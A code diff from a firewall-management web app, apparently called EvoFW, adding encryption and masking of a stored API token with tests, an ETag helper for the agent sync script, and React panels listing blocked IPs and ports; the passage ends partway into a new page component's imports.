import { describe, it, expect, afterEach } from 'vitest'
|
||||
import {
|
||||
encryptSecret,
|
||||
decryptSecret,
|
||||
isEncryptedSecret,
|
||||
sealListConfig,
|
||||
maskListConfig,
|
||||
} from './secret-cipher.js'
|
||||
|
||||
const ORIGINAL_KEY = process.env.EVOFW_SECRET_KEY
|
||||
|
||||
afterEach(() => {
|
||||
if (ORIGINAL_KEY === undefined) delete process.env.EVOFW_SECRET_KEY
|
||||
else process.env.EVOFW_SECRET_KEY = ORIGINAL_KEY
|
||||
})
|
||||
|
||||
describe('secret-cipher', () => {
|
||||
it('passes values through when no key is configured', () => {
|
||||
delete process.env.EVOFW_SECRET_KEY
|
||||
expect(encryptSecret('plain')).toBe('plain')
|
||||
expect(decryptSecret('plain')).toBe('plain')
|
||||
expect(isEncryptedSecret('plain')).toBe(false)
|
||||
})
|
||||
|
||||
it('encrypts and decrypts when EVOFW_SECRET_KEY is set', () => {
|
||||
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
|
||||
const enc = encryptSecret('super-secret-token')
|
||||
expect(enc).not.toContain('super-secret-token')
|
||||
expect(enc.startsWith('enc:v1:')).toBe(true)
|
||||
expect(decryptSecret(enc)).toBe('super-secret-token')
|
||||
// already-encrypted values are not double-encrypted
|
||||
expect(encryptSecret(enc)).toBe(enc)
|
||||
})
|
||||
|
||||
it('returns null for encrypted values when the key is missing or wrong', () => {
|
||||
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
|
||||
const enc = encryptSecret('super-secret-token')
|
||||
delete process.env.EVOFW_SECRET_KEY
|
||||
expect(decryptSecret(enc)).toBeNull()
|
||||
process.env.EVOFW_SECRET_KEY = 'other-key-other-key-other-key!'
|
||||
expect(decryptSecret(enc)).toBeNull()
|
||||
})
|
||||
|
||||
it('seals and masks list config api_token', () => {
|
||||
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
|
||||
const sealed = sealListConfig({
|
||||
api_url: 'https://bgp.example.com',
|
||||
api_token: 'super-secret-token',
|
||||
community_id: 'abc',
|
||||
})
|
||||
expect(sealed).not.toContain('super-secret-token')
|
||||
const parsed = JSON.parse(sealed) as { api_token: string }
|
||||
expect(decryptSecret(parsed.api_token)).toBe('super-secret-token')
|
||||
|
||||
const masked = maskListConfig(sealed)
|
||||
expect(masked).toContain('********')
|
||||
expect(masked).not.toContain('enc:v1:')
|
||||
|
||||
// configs without tokens pass through untouched
|
||||
expect(maskListConfig('{"api_url":"https://x"}')).toBe(
|
||||
'{"api_url":"https://x"}',
|
||||
)
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,86 @@
|
||||
import {
|
||||
createCipheriv,
|
||||
createDecipheriv,
|
||||
randomBytes,
|
||||
scryptSync,
|
||||
} from 'node:crypto'
|
||||
|
||||
/**
|
||||
* Optional at-rest encryption for secrets stored in the DB (EvoBGP API
|
||||
* token). Active only when EVOFW_SECRET_KEY is set; without it values are
|
||||
* stored as before (plaintext) so existing deployments keep working.
|
||||
*
|
||||
* Format: enc:v1:<saltB64>:<ivB64>:<tagB64>:<dataB64>, AES-256-GCM with a
|
||||
* scrypt-derived per-value key.
|
||||
*/
|
||||
|
||||
const PREFIX = 'enc:v1:'
|
||||
|
||||
function deriveKey(secret: string, salt: Buffer): Buffer {
|
||||
return scryptSync(secret, salt, 32)
|
||||
}
|
||||
|
||||
export function isEncryptedSecret(value: string): boolean {
|
||||
return value.startsWith(PREFIX)
|
||||
}
|
||||
|
||||
export function encryptSecret(value: string): string {
|
||||
const secret = process.env.EVOFW_SECRET_KEY?.trim()
|
||||
if (!secret || !value || isEncryptedSecret(value)) return value
|
||||
const salt = randomBytes(16)
|
||||
const iv = randomBytes(12)
|
||||
const cipher = createCipheriv('aes-256-gcm', deriveKey(secret, salt), iv)
|
||||
const data = Buffer.concat([cipher.update(value, 'utf8'), cipher.final()])
|
||||
const tag = cipher.getAuthTag()
|
||||
const payload = [salt, iv, tag, data]
|
||||
.map((b) => b.toString('base64'))
|
||||
.join(':')
|
||||
return `${PREFIX}${payload}`
|
||||
}
|
||||
|
||||
/**
|
||||
* Decrypt an encrypted secret; returns plaintext secrets untouched. Returns
|
||||
* null for encrypted values that cannot be decrypted (key missing/rotated)
|
||||
* so callers can treat the secret as unset instead of sending garbage.
|
||||
*/
|
||||
export function decryptSecret(value: string | null | undefined): string | null {
|
||||
if (!value) return null
|
||||
if (!isEncryptedSecret(value)) return value
|
||||
const secret = process.env.EVOFW_SECRET_KEY?.trim()
|
||||
if (!secret) return null
|
||||
const parts = value.split(':')
|
||||
if (parts.length !== 6) return null
|
||||
try {
|
||||
const salt = Buffer.from(parts[2]!, 'base64')
|
||||
const iv = Buffer.from(parts[3]!, 'base64')
|
||||
const tag = Buffer.from(parts[4]!, 'base64')
|
||||
const data = Buffer.from(parts[5]!, 'base64')
|
||||
const decipher = createDecipheriv('aes-256-gcm', deriveKey(secret, salt), iv)
|
||||
decipher.setAuthTag(tag)
|
||||
return Buffer.concat([decipher.update(data), decipher.final()]).toString('utf8')
|
||||
} catch {
|
||||
return null
|
||||
}
|
||||
}
|
||||
|
||||
/** Encrypt secrets inside a list config before persisting it. */
|
||||
export function sealListConfig(config: Record<string, unknown>): string {
|
||||
if (typeof config.api_token === 'string' && config.api_token) {
|
||||
config = { ...config, api_token: encryptSecret(config.api_token) }
|
||||
}
|
||||
return JSON.stringify(config)
|
||||
}
|
||||
|
||||
/** Mask secrets inside a list config before returning it to clients. */
|
||||
export function maskListConfig(configJson: string): string {
|
||||
if (!configJson.includes('api_token')) return configJson
|
||||
try {
|
||||
const config = JSON.parse(configJson) as Record<string, unknown>
|
||||
if (typeof config.api_token === 'string' && config.api_token) {
|
||||
config.api_token = '********'
|
||||
}
|
||||
return JSON.stringify(config)
|
||||
} catch {
|
||||
return configJson
|
||||
}
|
||||
}
|
||||
@@ -15,6 +15,10 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
authAuditIngestSecret: null,
|
||||
secretKey: null,
|
||||
statsRetentionDays: 30,
|
||||
}
|
||||
|
||||
describe('settings + bumpAgentsForList', () => {
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
import { describe, it, expect } from 'vitest'
|
||||
import { ifNoneMatchHits, getSyncScriptMeta } from './sync-script.js'
|
||||
|
||||
describe('sync-script meta', () => {
|
||||
it('hashes evofw-firewall.sh and matches ETag', () => {
|
||||
const meta = getSyncScriptMeta()
|
||||
expect(meta.sha256).toMatch(/^[a-f0-9]{64}$/)
|
||||
expect(meta.etag).toBe(`"${meta.sha256}"`)
|
||||
expect(meta.body.subarray(0, 2).toString()).toBe('#!')
|
||||
})
|
||||
|
||||
it('ifNoneMatchHits understands quoted, weak, and star', () => {
|
||||
const etag = '"abc"'
|
||||
expect(ifNoneMatchHits('"abc"', etag)).toBe(true)
|
||||
expect(ifNoneMatchHits('abc', etag)).toBe(true)
|
||||
expect(ifNoneMatchHits('W/"abc"', etag)).toBe(true)
|
||||
expect(ifNoneMatchHits('*', etag)).toBe(true)
|
||||
expect(ifNoneMatchHits('"nope"', etag)).toBe(false)
|
||||
expect(ifNoneMatchHits(undefined, etag)).toBe(false)
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,39 @@
|
||||
import { readFileSync } from 'node:fs'
|
||||
import { createHash } from 'node:crypto'
|
||||
import { join } from 'node:path'
|
||||
import { resolveAgentScriptsDir } from './agent-scripts-path.js'
|
||||
|
||||
export type SyncScriptMeta = {
|
||||
body: Buffer
|
||||
sha256: string
|
||||
etag: string
|
||||
}
|
||||
|
||||
let cache: SyncScriptMeta | null = null
|
||||
|
||||
/** Linux sync agent script + sha256 of file bytes (process-lifetime cache). */
|
||||
export function getSyncScriptMeta(): SyncScriptMeta {
|
||||
if (cache) return cache
|
||||
const dir = resolveAgentScriptsDir()
|
||||
const body = readFileSync(join(dir, 'evofw-firewall.sh'))
|
||||
const sha256 = createHash('sha256').update(body).digest('hex')
|
||||
cache = { body, sha256, etag: `"${sha256}"` }
|
||||
return cache
|
||||
}
|
||||
|
||||
/** Compare If-None-Match with our ETag (`"<sha256>"`). */
|
||||
export function ifNoneMatchHits(
|
||||
header: string | string[] | undefined,
|
||||
etag: string,
|
||||
): boolean {
|
||||
if (!header) return false
|
||||
const raw = Array.isArray(header) ? header.join(',') : header
|
||||
const want = etag.replaceAll('"', '').toLowerCase()
|
||||
for (const part of raw.split(',')) {
|
||||
let token = part.trim()
|
||||
if (token.startsWith('W/')) token = token.slice(2).trim()
|
||||
token = token.replaceAll('"', '')
|
||||
if (token === '*' || token.toLowerCase() === want) return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
Whitespace-only changes.
@@ -7,6 +7,7 @@
|
||||
"dev": "vite",
|
||||
"build": "vite build",
|
||||
"typecheck": "tsc --noEmit",
|
||||
"test": "vitest run",
|
||||
"preview": "vite preview"
|
||||
},
|
||||
"dependencies": {
|
||||
@@ -25,6 +26,8 @@
|
||||
"@tanstack/react-virtual": "^3.14.7",
|
||||
"@tanstack/router-plugin": "^1.120.0",
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"cmdk": "^1.1.1",
|
||||
"cn": "^0.4.0",
|
||||
"date-fns": "^4.4.0",
|
||||
"lucide-react": "^0.468.0",
|
||||
"next-themes": "^0.4.6",
|
||||
|
||||
@@ -169,7 +169,9 @@ export function AddAgentSheet({ open, onOpenChange }: AddAgentSheetProps) {
|
||||
title="Добавить агента"
|
||||
description="Создайте агента и короткую install-ссылку."
|
||||
form={form}
|
||||
onSubmit={(values) => create.mutateAsync(values)}
|
||||
onSubmit={async (values) => {
|
||||
await create.mutateAsync(values)
|
||||
}}
|
||||
footer={
|
||||
<>
|
||||
<Button
|
||||
|
||||
@@ -5,7 +5,7 @@ import {
|
||||
useReactTable,
|
||||
type ColumnDef,
|
||||
} from '@tanstack/react-table'
|
||||
import { BanIcon, RouterIcon } from 'lucide-react'
|
||||
import { BanIcon } from 'lucide-react'
|
||||
import {
|
||||
Frame,
|
||||
FrameDescription,
|
||||
@@ -19,19 +19,26 @@ import { DataGridTable } from '@/components/reui/data-grid/data-grid-table'
|
||||
import { EmptyState } from '@/components/empty-state'
|
||||
import { agentBlockedIpsQueryOptions } from '@/queries'
|
||||
import { Skeleton } from '@evofw/ui/components/skeleton'
|
||||
import { formatNumber, formatStampDateTime } from '@/lib/format'
|
||||
|
||||
/**
|
||||
* Per-IP/CIDR drop counters from Linux nft/ipset.
|
||||
* Per-IP blocked stats — Linux nft/ipset counters or MikroTik EVOFW_HITS.
|
||||
* Preview: https://reui.io/preview/base/data-grid-filtering-2
|
||||
* · https://reui.io/preview/base/empty-state-12
|
||||
* MikroTik: address-list has no per-entry counters — empty hint only.
|
||||
*/
|
||||
|
||||
export type BlockedIpPort = {
|
||||
port: number
|
||||
protocol: string
|
||||
packets: number
|
||||
}
|
||||
|
||||
export type BlockedIpRow = {
|
||||
ip: string
|
||||
packets: number
|
||||
first_seen_at: string
|
||||
last_seen_at: string
|
||||
ports?: BlockedIpPort[]
|
||||
}
|
||||
|
||||
type AgentBlockedIpsProps = {
|
||||
@@ -39,31 +46,26 @@ type AgentBlockedIpsProps = {
|
||||
platform: string
|
||||
}
|
||||
|
||||
const packetFmt = new Intl.NumberFormat('ru-RU')
|
||||
const seenFmt = new Intl.DateTimeFormat('ru-RU', {
|
||||
day: '2-digit',
|
||||
month: '2-digit',
|
||||
year: 'numeric',
|
||||
hour: '2-digit',
|
||||
minute: '2-digit',
|
||||
second: '2-digit',
|
||||
})
|
||||
|
||||
function formatSeen(iso: string): string {
|
||||
const t = Date.parse(iso)
|
||||
if (Number.isNaN(t)) return '—'
|
||||
return seenFmt.format(t)
|
||||
function formatPorts(ports: BlockedIpPort[] | undefined): string {
|
||||
if (!ports?.length) return '—'
|
||||
return ports
|
||||
.map((p) => `${p.protocol}/${p.port}`)
|
||||
.join(', ')
|
||||
}
|
||||
|
||||
export function AgentBlockedIps({ agentId, platform }: AgentBlockedIpsProps) {
|
||||
const isMikrotik = platform === 'mikrotik'
|
||||
const q = useQuery({
|
||||
...agentBlockedIpsQueryOptions(agentId),
|
||||
enabled: !isMikrotik,
|
||||
})
|
||||
const showPorts = !isMikrotik
|
||||
const q = useQuery(agentBlockedIpsQueryOptions(agentId))
|
||||
|
||||
const columns = useMemo<ColumnDef<BlockedIpRow>[]>(
|
||||
() => [
|
||||
const packetsTitle = isMikrotik ? 'Hits' : 'Packets'
|
||||
const description = isMikrotik
|
||||
? 'Src /32 из EVOFW_HITS (add-src при deny, timeout 1h). Hits — входы в список (не каждый sync); Last seen обновляется, пока IP в hits.'
|
||||
: 'Drop-пакеты по записям deny (nft/ipset). Top по накопленным packets. Ports — top-5 dport (nft).'
|
||||
|
||||
const columns = useMemo<ColumnDef<BlockedIpRow>[]>(() => {
|
||||
const cols: ColumnDef<BlockedIpRow>[] = [
|
||||
{
|
||||
accessorKey: 'ip',
|
||||
id: 'ip',
|
||||
@@ -79,31 +81,46 @@ export function AgentBlockedIps({ agentId, platform }: AgentBlockedIpsProps) {
|
||||
accessorKey: 'packets',
|
||||
id: 'packets',
|
||||
header: ({ column }) => (
|
||||
<DataGridColumnHeader column={column} title="Packets" />
|
||||
<DataGridColumnHeader column={column} title={packetsTitle} />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="tabular-nums">
|
||||
{packetFmt.format(row.original.packets)}
|
||||
{formatNumber(row.original.packets)}
|
||||
</span>
|
||||
),
|
||||
meta: { headerTitle: 'Packets' },
|
||||
meta: { headerTitle: packetsTitle },
|
||||
},
|
||||
{
|
||||
accessorKey: 'last_seen_at',
|
||||
id: 'last_seen_at',
|
||||
]
|
||||
if (showPorts) {
|
||||
cols.push({
|
||||
id: 'ports',
|
||||
accessorFn: (row) => formatPorts(row.ports),
|
||||
header: ({ column }) => (
|
||||
<DataGridColumnHeader column={column} title="Last seen" />
|
||||
<DataGridColumnHeader column={column} title="Ports" />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="text-muted-foreground text-xs tabular-nums">
|
||||
{formatSeen(row.original.last_seen_at)}
|
||||
<span className="font-mono text-muted-foreground text-xs">
|
||||
{formatPorts(row.original.ports)}
|
||||
</span>
|
||||
),
|
||||
meta: { headerTitle: 'Last seen' },
|
||||
},
|
||||
],
|
||||
[],
|
||||
)
|
||||
meta: { headerTitle: 'Ports' },
|
||||
})
|
||||
}
|
||||
cols.push({
|
||||
accessorKey: 'last_seen_at',
|
||||
id: 'last_seen_at',
|
||||
header: ({ column }) => (
|
||||
<DataGridColumnHeader column={column} title="Last seen" />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="text-muted-foreground text-xs tabular-nums">
|
||||
{formatStampDateTime(row.original.last_seen_at)}
|
||||
</span>
|
||||
),
|
||||
meta: { headerTitle: 'Last seen' },
|
||||
})
|
||||
return cols
|
||||
}, [packetsTitle, showPorts])
|
||||
|
||||
const data = q.data?.items ?? []
|
||||
const table = useReactTable({
|
||||
@@ -117,20 +134,10 @@ export function AgentBlockedIps({ agentId, platform }: AgentBlockedIpsProps) {
|
||||
<Frame dense spacing="sm">
|
||||
<FrameHeader>
|
||||
<FrameTitle>Blocked IPs</FrameTitle>
|
||||
<FrameDescription>
|
||||
Drop-пакеты по записям deny (nft/ipset). Top по накопленным packets.
|
||||
</FrameDescription>
|
||||
<FrameDescription>{description}</FrameDescription>
|
||||
</FrameHeader>
|
||||
<FramePanel className="p-0">
|
||||
{isMikrotik ? (
|
||||
<EmptyState
|
||||
icon={RouterIcon}
|
||||
title="Per-IP недоступен на MikroTik"
|
||||
description="У address-list в RouterOS нет counters по записи. Доступны только суммарные Traffic ↓/↑ с filter-правил."
|
||||
centered={false}
|
||||
className="py-8"
|
||||
/>
|
||||
) : q.isLoading ? (
|
||||
{q.isLoading ? (
|
||||
<div className="flex flex-col gap-2 p-4">
|
||||
<Skeleton className="h-8 w-full" />
|
||||
<Skeleton className="h-8 w-full" />
|
||||
@@ -148,7 +155,11 @@ export function AgentBlockedIps({ agentId, platform }: AgentBlockedIpsProps) {
|
||||
<EmptyState
|
||||
icon={BanIcon}
|
||||
title="Пока нет hit’ов"
|
||||
description="Когда deny-префиксы начнут дропать пакеты, здесь появятся IP/CIDR с counters."
|
||||
description={
|
||||
isMikrotik
|
||||
? 'Когда трафик попадёт в EVOFW_DENY, src появится в EVOFW_HITS и здесь после sync.'
|
||||
: 'Когда deny-префиксы начнут дропать пакеты, здесь появятся IP/CIDR с counters.'
|
||||
}
|
||||
centered={false}
|
||||
className="py-8"
|
||||
/>
|
||||
|
||||
@@ -0,0 +1,155 @@
|
||||
import { useMemo } from 'react'
|
||||
import { useQuery } from '@tanstack/react-query'
|
||||
import {
|
||||
getCoreRowModel,
|
||||
useReactTable,
|
||||
type ColumnDef,
|
||||
} from '@tanstack/react-table'
|
||||
import { NetworkIcon } from 'lucide-react'
|
||||
import {
|
||||
Frame,
|
||||
FrameDescription,
|
||||
FrameHeader,
|
||||
FramePanel,
|
||||
FrameTitle,
|
||||
} from '@/components/reui/frame'
|
||||
import { DataGrid } from '@/components/reui/data-grid/data-grid'
|
||||
import { DataGridColumnHeader } from '@/components/reui/data-grid/data-grid-column-header'
|
||||
import { DataGridTable } from '@/components/reui/data-grid/data-grid-table'
|
||||
import { EmptyState } from '@/components/empty-state'
|
||||
import { agentBlockedPortsQueryOptions } from '@/queries'
|
||||
import { Skeleton } from '@evofw/ui/components/skeleton'
|
||||
import { formatNumber, formatStampDateTime } from '@/lib/format'
|
||||
|
||||
/**
|
||||
* Aggregate destination ports hit by denied sources (Linux nft).
|
||||
* Preview: https://reui.io/preview/base/data-grid-filtering-2
|
||||
* · https://reui.io/preview/base/empty-state-12
|
||||
*/
|
||||
|
||||
export type BlockedPortRow = {
|
||||
port: number
|
||||
protocol: string
|
||||
packets: number
|
||||
last_seen_at: string
|
||||
}
|
||||
|
||||
type AgentBlockedPortsProps = {
|
||||
agentId: string
|
||||
}
|
||||
|
||||
|
||||
export function AgentBlockedPorts({ agentId }: AgentBlockedPortsProps) {
|
||||
const q = useQuery(agentBlockedPortsQueryOptions(agentId))
|
||||
|
||||
const columns = useMemo<ColumnDef<BlockedPortRow>[]>(
|
||||
() => [
|
||||
{
|
||||
accessorKey: 'port',
|
||||
id: 'port',
|
||||
header: ({ column }) => (
|
||||
<DataGridColumnHeader column={column} title="Port" />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="font-mono text-xs tabular-nums">
|
||||
{row.original.port}
|
||||
</span>
|
||||
),
|
||||
meta: { headerTitle: 'Port' },
|
||||
},
|
||||
{
|
||||
accessorKey: 'protocol',
|
||||
id: 'protocol',
|
||||
header: ({ column }) => (
|
||||
<DataGridColumnHeader column={column} title="Proto" />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="font-mono text-xs uppercase">
|
||||
{row.original.protocol}
|
||||
</span>
|
||||
),
|
||||
meta: { headerTitle: 'Proto' },
|
||||
},
|
||||
{
|
||||
accessorKey: 'packets',
|
||||
id: 'packets',
|
||||
header: ({ column }) => (
|
||||
<DataGridColumnHeader column={column} title="Packets" />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="tabular-nums">
|
||||
{formatNumber(row.original.packets)}
|
||||
</span>
|
||||
),
|
||||
meta: { headerTitle: 'Packets' },
|
||||
},
|
||||
{
|
||||
accessorKey: 'last_seen_at',
|
||||
id: 'last_seen_at',
|
||||
header: ({ column }) => (
|
||||
<DataGridColumnHeader column={column} title="Last seen" />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="text-muted-foreground text-xs tabular-nums">
|
||||
{formatStampDateTime(row.original.last_seen_at)}
|
||||
</span>
|
||||
),
|
||||
meta: { headerTitle: 'Last seen' },
|
||||
},
|
||||
],
|
||||
[],
|
||||
)
|
||||
|
||||
const data = q.data?.items ?? []
|
||||
const table = useReactTable({
|
||||
data,
|
||||
columns,
|
||||
getCoreRowModel: getCoreRowModel(),
|
||||
getRowId: (r) => `${r.protocol}/${r.port}`,
|
||||
})
|
||||
|
||||
return (
|
||||
<Frame dense spacing="sm">
|
||||
<FrameHeader>
|
||||
<FrameTitle>Top ports</FrameTitle>
|
||||
<FrameDescription>
|
||||
Destination ports (tcp/udp), в которые слали запросы blocked IP. nft
|
||||
dynamic set deny_port_hits.
|
||||
</FrameDescription>
|
||||
</FrameHeader>
|
||||
<FramePanel className="p-0">
|
||||
{q.isLoading ? (
|
||||
<div className="flex flex-col gap-2 p-4">
|
||||
<Skeleton className="h-8 w-full" />
|
||||
<Skeleton className="h-8 w-full" />
|
||||
<Skeleton className="h-8 w-2/3" />
|
||||
</div>
|
||||
) : q.isError ? (
|
||||
<EmptyState
|
||||
icon={NetworkIcon}
|
||||
title="Не удалось загрузить"
|
||||
description={q.error?.message ?? 'Ошибка API'}
|
||||
centered={false}
|
||||
className="py-8"
|
||||
/>
|
||||
) : data.length === 0 ? (
|
||||
<EmptyState
|
||||
icon={NetworkIcon}
|
||||
title="Пока нет port hit’ов"
|
||||
description="Нужен nft + deny_port_hits. После drop с deny появятся tcp/udp dport. Re-run install-ссылки обновляет правила."
|
||||
centered={false}
|
||||
className="py-8"
|
||||
/>
|
||||
) : (
|
||||
<DataGrid
|
||||
table={table}
|
||||
recordCount={data.length}
|
||||
tableLayout={{ dense: true }}
|
||||
>
|
||||
<DataGridTable />
|
||||
</DataGrid>
|
||||
)}
|
||||
</FramePanel>
|
||||
</Frame>
|
||||
)
|
||||
}
|
||||
@@ -1,9 +1,14 @@
|
||||
import type { Agent } from '@evofw/shared'
|
||||
import { Trash2 } from 'lucide-react'
|
||||
import {
|
||||
MoreVerticalIcon,
|
||||
PanelRight,
|
||||
Trash2,
|
||||
} from 'lucide-react'
|
||||
import {
|
||||
AgentPlatformIcon,
|
||||
platformLabel,
|
||||
} from '@/components/agents/agent-platform-icon'
|
||||
import { AgentOnlineDot } from '@/components/agents/agent-online-dot'
|
||||
import {
|
||||
agentHasTrafficSample,
|
||||
agentTrafficAccepted,
|
||||
@@ -13,6 +18,13 @@ import { StatusBadge } from '@/components/status-badge'
|
||||
import { Badge } from '@/components/reui/badge'
|
||||
import { Frame, FramePanel } from '@/components/reui/frame'
|
||||
import { Button } from '@evofw/ui/components/button'
|
||||
import {
|
||||
DropdownMenu,
|
||||
DropdownMenuContent,
|
||||
DropdownMenuItem,
|
||||
DropdownMenuSeparator,
|
||||
DropdownMenuTrigger,
|
||||
} from '@evofw/ui/components/dropdown-menu'
|
||||
import {
|
||||
Item,
|
||||
ItemContent,
|
||||
@@ -21,36 +33,13 @@ import {
|
||||
} from '@evofw/ui/components/item'
|
||||
import { Separator } from '@evofw/ui/components/separator'
|
||||
import { cn } from '@evofw/ui/lib/utils'
|
||||
import { formatPackets, formatRelativeTime } from '@/lib/format'
|
||||
|
||||
/**
|
||||
* Agent catalog card — hybrid card-3 header + stats strip + stats-12 values.
|
||||
* Preview: https://reui.io/preview/base/card-3 · https://reui.io/preview/base/stats-12
|
||||
*/
|
||||
|
||||
const packetFmt = new Intl.NumberFormat('ru-RU', {
|
||||
notation: 'compact',
|
||||
maximumFractionDigits: 1,
|
||||
})
|
||||
|
||||
const seenFmt = new Intl.DateTimeFormat('ru-RU', {
|
||||
day: '2-digit',
|
||||
month: '2-digit',
|
||||
hour: '2-digit',
|
||||
minute: '2-digit',
|
||||
})
|
||||
|
||||
function formatPackets(n: number | undefined, hasApply: boolean): string {
|
||||
if (!hasApply || n === undefined) return '—'
|
||||
return packetFmt.format(n)
|
||||
}
|
||||
|
||||
function formatShort(iso: string | null | undefined): string {
|
||||
if (!iso) return '—'
|
||||
const t = Date.parse(iso)
|
||||
if (Number.isNaN(t)) return '—'
|
||||
return seenFmt.format(t)
|
||||
}
|
||||
|
||||
type AgentCardProps = {
|
||||
agent: Agent
|
||||
selected?: boolean
|
||||
@@ -65,26 +54,28 @@ export function AgentCard({
|
||||
onDelete,
|
||||
}: AgentCardProps) {
|
||||
const hasApply = agentHasTrafficSample(agent)
|
||||
const dropped = formatPackets(agentTrafficDropped(agent), hasApply)
|
||||
const accepted = formatPackets(agentTrafficAccepted(agent), hasApply)
|
||||
const dropped = hasApply ? formatPackets(agentTrafficDropped(agent)) : '—'
|
||||
const accepted = hasApply ? formatPackets(agentTrafficAccepted(agent)) : '—'
|
||||
const traffic =
|
||||
dropped === '—' && accepted === '—'
|
||||
? '—'
|
||||
: `↓${dropped} · ↑${accepted}`
|
||||
const seen = formatShort(agent.last_seen_at ?? agent.last_apply_at)
|
||||
const seen = formatRelativeTime(
|
||||
agent.last_seen_at ?? agent.last_apply_at,
|
||||
)
|
||||
const defaultAction =
|
||||
agent.default_action === 'drop' ? 'Drop' : 'Accept'
|
||||
agent.default_action === 'drop' ? 'Блокировать' : 'Пропускать'
|
||||
const subtitle = [
|
||||
agent.hostname,
|
||||
platformLabel(agent.platform),
|
||||
`gen ${agent.policy_generation}`,
|
||||
`поколение ${agent.policy_generation}`,
|
||||
]
|
||||
.filter(Boolean)
|
||||
.join(' · ')
|
||||
|
||||
const stats = [
|
||||
{
|
||||
label: 'Traffic',
|
||||
label: 'Трафик',
|
||||
value: traffic,
|
||||
valueClass:
|
||||
traffic === '—'
|
||||
@@ -102,7 +93,7 @@ export function AgentCard({
|
||||
),
|
||||
},
|
||||
{
|
||||
label: 'Seen',
|
||||
label: 'Активность',
|
||||
value: seen,
|
||||
valueClass: 'text-muted-foreground',
|
||||
valueNode: seen,
|
||||
@@ -114,6 +105,7 @@ export function AgentCard({
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => onSelect(agent.id)}
|
||||
aria-label={`Открыть агента ${agent.name}`}
|
||||
className={cn(
|
||||
'w-full text-left outline-none',
|
||||
'focus-visible:ring-ring rounded-[calc(var(--frame-radius)+2px)] focus-visible:ring-2 focus-visible:ring-offset-2',
|
||||
@@ -136,7 +128,10 @@ export function AgentCard({
|
||||
<h3 className="truncate text-sm leading-tight font-semibold">
|
||||
{agent.name}
|
||||
</h3>
|
||||
<StatusBadge status={agent.status} />
|
||||
<span className="flex items-center gap-1.5">
|
||||
<AgentOnlineDot agent={agent} />
|
||||
<StatusBadge status={agent.status} />
|
||||
</span>
|
||||
<Badge
|
||||
variant={
|
||||
agent.default_action === 'drop'
|
||||
@@ -196,16 +191,35 @@ export function AgentCard({
|
||||
</FramePanel>
|
||||
</Frame>
|
||||
</button>
|
||||
<Button
|
||||
type="button"
|
||||
size="icon-sm"
|
||||
variant="ghost"
|
||||
className="text-destructive absolute top-3 right-3 z-10"
|
||||
aria-label="Удалить"
|
||||
onClick={() => onDelete(agent.id)}
|
||||
>
|
||||
<Trash2 className="size-3.5" />
|
||||
</Button>
|
||||
<DropdownMenu>
|
||||
<DropdownMenuTrigger
|
||||
render={
|
||||
<Button
|
||||
type="button"
|
||||
size="icon-sm"
|
||||
variant="ghost"
|
||||
className="absolute top-3 right-3 z-10"
|
||||
aria-label={`Действия с агентом ${agent.name}`}
|
||||
/>
|
||||
}
|
||||
>
|
||||
<MoreVerticalIcon className="size-3.5" />
|
||||
</DropdownMenuTrigger>
|
||||
<DropdownMenuContent align="end">
|
||||
<DropdownMenuItem onClick={() => onSelect(agent.id)}>
|
||||
<PanelRight className="size-4" />
|
||||
Открыть
|
||||
</DropdownMenuItem>
|
||||
<DropdownMenuSeparator />
|
||||
<DropdownMenuItem
|
||||
variant="destructive"
|
||||
onClick={() => onDelete(agent.id)}
|
||||
>
|
||||
<Trash2 className="size-4" />
|
||||
Удалить
|
||||
</DropdownMenuItem>
|
||||
</DropdownMenuContent>
|
||||
</DropdownMenu>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,300 @@
|
||||
import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'
|
||||
import { Link, useNavigate } from '@tanstack/react-router'
|
||||
import { toast } from 'sonner'
|
||||
import { useState } from 'react'
|
||||
import { ActivityIcon, ArrowLeftIcon, CircleAlertIcon, ClockIcon, CpuIcon, ShieldIcon } from 'lucide-react'
|
||||
import { PageHead, PageTab, PageTabsList } from '@/components/portal/bits'
|
||||
import { Alert, AlertDescription, AlertTitle } from '@/components/reui/alert'
|
||||
import { KpiStatGrid } from '@/components/reui-kit'
|
||||
import { StatusBadge } from '@/components/status-badge'
|
||||
import { platformLabel } from '@/components/agents/agent-platform-icon'
|
||||
import { AgentOnlineDot } from '@/components/agents/agent-online-dot'
|
||||
import { agentTrafficAccepted, agentTrafficDropped } from '@/components/agents/agent-traffic'
|
||||
import { AgentPolicySetsSortable } from '@/components/agents/agent-policy-sets-sortable'
|
||||
import { AgentPolicyTrace } from '@/components/agents/agent-policy-trace'
|
||||
import { AgentFactsPanel } from '@/components/agents/agent-facts-panel'
|
||||
import { AgentEffectiveCidrs } from '@/components/agents/agent-effective-cidrs'
|
||||
import { AgentBlockedIps } from '@/components/agents/agent-blocked-ips'
|
||||
import { AgentBlockedPorts } from '@/components/agents/agent-blocked-ports'
|
||||
import { AgentHostFirewall } from '@/components/agents/agent-host-firewall'
|
||||
import { AgentPortAcl } from '@/components/agents/agent-port-acl'
|
||||
import { AgentCloneSetsSheet, AgentOverrideSheet } from '@/components/agents/agent-settings-sheets'
|
||||
import { ConfirmDialog } from '@/components/confirm-dialog'
|
||||
import { agentPreviewQueryOptions, agentQueryOptions } from '@/queries'
|
||||
import { apiFetch } from '@/lib/api'
|
||||
import { formatDateTime, formatNumber, formatRelativeTime } from '@/lib/format'
|
||||
import { useCan } from '@/lib/permissions'
|
||||
